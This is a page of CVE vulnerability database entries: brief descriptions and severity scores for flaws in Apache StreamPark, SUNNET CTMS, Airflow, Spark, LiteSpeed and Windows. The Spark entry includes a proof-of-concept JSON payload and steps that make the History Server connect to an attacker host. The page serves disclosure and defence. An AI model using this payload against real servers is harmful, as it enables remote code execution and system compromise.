Total
400203 CVE
| CVE | Vendors | Products | Updated | CVSS v2 | CVSS v3 |
|---|---|---|---|---|---|
| CVE-2025-54947 | 1 Apache | 1 Streampark | 2026-06-17 | N/A | 9.8 CRITICAL |
| In Apache StreamPark versions 2.0.0 through 2.1.7, a security vulnerability involving a hard-coded encryption key exists. This vulnerability occurs because the system uses a fixed, immutable key for encryption instead of dynamically generating or securely configuring the key. Attackers may obtain this key through reverse engineering or code analysis, potentially decrypting sensitive data or forging encrypted information, leading to information disclosure or unauthorized system access. This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue. | |||||
| CVE-2025-54946 | 1 Sun.net | 1 Ehrd Ctms | 2026-06-17 | N/A | 9.8 CRITICAL |
| A SQL injection vulnerability in SUNNET Corporate Training Management System before 10.11 allows remote attackers to execute arbitrary SQL commands. | |||||
| CVE-2025-54945 | 1 Sun.net | 1 Ehrd Ctms | 2026-06-17 | N/A | 9.8 CRITICAL |
| An external control of file name or path vulnerability in SUNNET Corporate Training Management System before 10.11 allows remote attackers to execute arbitrary system commands via a malicious file by controlling the destination file path. | |||||
| CVE-2025-54944 | 1 Sun.net | 1 Ehrd Ctms | 2026-06-17 | N/A | 9.8 CRITICAL |
| An unrestricted upload of file with dangerous type vulnerability in SUNNET Corporate Training Management System before 10.11 allows remote attackers to write malicious code in a specific file, which may lead to arbitrary code execution. | |||||
| CVE-2025-54943 | 1 Sun.net | 1 Ehrd Ctms | 2026-06-17 | N/A | 9.8 CRITICAL |
| A missing authorization vulnerability in SUNNET Corporate Training Management System before 10.11 allows remote attackers to perform unauthorized application deployment due to the absence of proper access control checks. | |||||
| CVE-2025-54942 | 1 Sun.net | 1 Ehrd Ctms | 2026-06-17 | N/A | 9.8 CRITICAL |
| A missing authentication for critical function vulnerability in SUNNET Corporate Training Management System before 10.11 allows remote attackers to access deployment functionality without prior authentication. | |||||
| CVE-2025-54941 | 1 Apache | 1 Airflow | 2026-06-17 | N/A | 4.6 MEDIUM |
| An example dag `example_dag_decorator` had non-validated parameter that allowed the UI user to redirect the example to a malicious server and execute code on worker. This however required that the example dags are enabled in production (not default) or the example dag code copied to build your own similar dag. If you used the `example_dag_decorator` please review it and apply the changes implemented in Airflow 3.0.5 accordingly. | |||||
| CVE-2025-54940 | 2026-06-17 | N/A | 3.4 LOW | ||
| An HTML injection vulnerability exists in WordPress plugin "Advanced Custom Fields" prior to 6.4.3. If this vulnerability is exploited, crafted HTML code may be rendered and page display may be tampered. | |||||
| CVE-2025-54939 | 1 Litespeedtech | 4 Litespeed Web Adc, Litespeed Web Server, Lsquic and 1 more | 2026-06-17 | N/A | 5.3 MEDIUM |
| LiteSpeed QUIC (LSQUIC) Library before 4.3.1 has an lsquic_engine_packet_in memory leak. | |||||
| CVE-2025-54927 | 2026-06-17 | N/A | 4.9 MEDIUM | ||
| CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability exists that could cause unauthorized access to sensitive files when an authenticated attackers uses a crafted path input that is processed by the system. | |||||
| CVE-2025-54926 | 2026-06-17 | N/A | 7.2 HIGH | ||
| CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability exists that could cause remote code execution when an authenticated attacker with admin privileges uploads a malicious file over HTTP which then gets executed. | |||||
| CVE-2025-54925 | 2026-06-17 | N/A | 7.5 HIGH | ||
| CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthorized access to sensitive data when an attacker configures the application to access a malicious url. | |||||
| CVE-2025-54924 | 2026-06-17 | N/A | 7.5 HIGH | ||
| CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthorized access to sensitive data when an attacker sends a specially crafted document to a vulnerable endpoint. | |||||
| CVE-2025-54923 | 2026-06-17 | N/A | N/A | ||
| CWE-502: Deserialization of Untrusted Data vulnerability exists that could cause remote code execution and compromise of system integrity when authenticated users send crafted data to a network-exposed service that performs unsafe deserialization. | |||||
| CVE-2025-54920 | 1 Apache | 1 Spark | 2026-06-17 | N/A | 8.8 HIGH |
| This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system. | |||||
| CVE-2025-54919 | 1 Microsoft | 10 Windows 10 1809, Windows 10 21h2, Windows 10 22h2 and 7 more | 2026-06-17 | N/A | 7.5 HIGH |
| Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K - GRFX allows an authorized attacker to execute code locally. | |||||
| CVE-2025-54918 | 1 Microsoft | 15 Windows 10 1507, Windows 10 1607, Windows 10 1809 and 12 more | 2026-06-17 | N/A | 8.8 HIGH |
| Improper authentication in Windows NTLM allows an authorized attacker to elevate privileges over a network. | |||||
| CVE-2025-54917 | 1 Microsoft | 15 Windows 10 1507, Windows 10 1607, Windows 10 1809 and 12 more | 2026-06-17 | N/A | 4.3 MEDIUM |
| Protection mechanism failure in Windows MapUrlToZone allows an unauthorized attacker to bypass a security feature over a network. | |||||
| CVE-2025-54916 | 1 Microsoft | 15 Windows 10 1507, Windows 10 1607, Windows 10 1809 and 12 more | 2026-06-17 | N/A | 7.8 HIGH |
| Stack-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally. | |||||
| CVE-2025-54915 | 1 Microsoft | 15 Windows 10 1507, Windows 10 1607, Windows 10 1809 and 12 more | 2026-06-17 | N/A | 6.7 MEDIUM |
| Access of resource using incompatible type ('type confusion') in Windows Defender Firewall Service allows an authorized attacker to elevate privileges locally. | |||||